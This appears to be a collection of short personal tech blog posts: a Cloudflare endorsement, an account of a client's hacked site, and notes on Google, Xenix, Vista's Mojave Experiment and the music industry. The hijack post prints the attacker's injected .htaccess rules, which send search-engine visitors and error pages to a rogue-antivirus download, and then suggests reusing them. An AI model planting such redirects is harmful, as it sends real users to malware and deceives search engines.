Today there is an amazing Authoritative DNS Service that will proxy all your sites traffic through their network of servers.  This type of network is typically referred to as a Content Delivery Network (CDN) and it usually costs a great deal of money to utilize.  Cloudflare is unique because its a the first service of it’s kind to be offered for free.  Not only does this accelerate the site but it also protects the site from hackers and DDoS attacks.  It uses a real time blocklist to prevent spammers and bots from attacking the site.

This service has been powering Furious Citizen for the last six months, I haven’t had a single spam comment try to get through since then.  Cloudflare is Awesome!  It’s providing a CDN to deliver this sites content while protecting the site.

Check it out online – http://www.cloudflare.com

What happened here?  This guy makes some cool software like Newsfire RSS for OS X.

Check out ZigZap Technologies online at http://www.zigzap.com to save up to 50% off your phone bill.

One of my clients from last year recently had their site hijacked by people with less than honorable intentions. All traffic coming from Google and all the error pages on the site were being redirected to a download for win antivir 2009.

The details are still emerging on how the site was compromised but from the information that I have I think the cause can be narrowed down to either an unpatched CMS or the host themselves was hijacked.   I have now locked down the CMS control panel down so you can’t access it via the web anymore, hopefully this keeps the baddies at bay for a little while.

Fun, Fun, for this company and even more fun for me since I had recently experienced this hijack as a user when Googling a local restaurants site.  Through whatever means they used to hijack the site they were able to inject the following into the .htaccess file.

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC]
RewriteRule .* http://255.255.255.255/in.html?s=example [R,L]
Errordocument 404 http://255.255.255.255/in.html?s=example

The reason I am sharing this is that there are a lot of legitimate uses for this type of script,  I hope that some of you other webmasters out there can use it.  One example would be a site administrator who wanted to redirect search engine traffic to sign up pages while still letting Google index the site.

Rumor gears are turning as it appears that Google has threatened legal action against LimitNone the company behind Gmove unless they immediately discontinued offering it.  This comes on the heels of the release of Google’s own utility dubbed Google Email Uploader.

If you try out the new product by Google let me know what you think.

…. or at least they used to.  Misleading title aside, I just read up on this by follwing a link to Xenix from the MS-DOS entry on Wikipedia.  I haven’t been this scared in a long time.

Straight from the article:

Xenix was Microsoft’s version of Unix intended for use on microcomputers; since Microsoft was not able to license the “UNIX” name itself, they gave it an original name. The -ix ending follows a convention used by many other Unix-like operating systems.

Currently there are several “Xenix” bibles on ebay for sale [Search Results]

Spooky

Read more if you want – Amazon Music on an iPod

Here is a video of the redirection in progress vs. typing in the correct url directly.

Has Google’s redirection service been poisoned?

Hi Res Video Download is HERE

“Last week we showed a video of the Mojave Experiment to a small group of folks here on campus. Today we are excited to share the results with the public.

For those new to the Mojave Experiment, it’s a focus group effort we initiated a few weeks ago. We interviewed and polled 120 participants in San Francisco, in hopes of better understanding everyday users’ perceptions of Windows Vista and seeing whether there really is a gap between perception and reality. We wanted to see how people reacted to Windows Vista when they were not aware they were seeing Windows Vista. We recorded our discussions, and today you can see them for yourself.”

It appears that Microsoft is going to fight an uphill battle on how Vista is percieved after last years very expensive advertising campaign failed to get people interested.

Check out the videos: http://www.mojaveexperiment.com/

As of 2007 48% of American teens are NOT buying music on CD and piracy over P2P networks is soaring to new highs.  In turn though this has led to the rising success of services like iTunes and Amazon MP3, these services sell music at prices people are willing to pay and in a way that lets them use the music how they want.  Kids are still customers they just prefer to listen to music their own way now instead of how the record companies intended.

All these large media companies are being run by Absolute Idiots who are much like the big three American car companies of the 70′s in that they have no idea how to make money in this new and different market.  The President of the RIAA even tried to reduce the consumers right to fair use (back a couple years ago) as a way to save his industries decaying business model.  Hey if you can’t rip a CD to your computer then your more likely to buy the same song everytime you want to play it on a new device.

Unlike the American car companies of yore these buffoons managed to sink their own battleship by suing Napster out of existence in 1999 when this whole music sharing thing was still in its infancy. Things only get worse for them in 2003 when Apple introduced the iTunes Store and with it a price fixing system for online sales.  That left these Music Industry Idiots with a devalued product that led to Apples lead in portable devices (iPods) which is distribution channel that they can’t possibly control.

One may be wondering where to go from here as the business appears to be in the gutter with the fans used to free, open and cheap music.   There may not be one answer that can help them gain back the prestige they once enjoyed.  That said the single best thing they could do today would be to stop suing customers for file sharing and embrace it.

They should:

• Create an open license (similar to the Creative Commons license I use on here) for artists to share music online and help them distribute it by starting social networking sites that help artists reach the fans.
• They need to work with each other because if the big labels could collaborate they wouldn’t waste time and money competing against each other (aka the way it doesn’t need to be spent}).
• Embrace open codecs, MP3 is king only because you don’t support open standards.
• Support a universal portable media player project with the likes of Google to help break the Apple Monopoly.

My blog is not even a blip on the radar of these companies, even if they did hear about this post they wouldn’t change.  Corporate America is just so much of a beurocracy that it won’t come around until the next generation unless something major happens first.  Until then I think its fair to say the Pirate Bay’s of this world will have a large audience.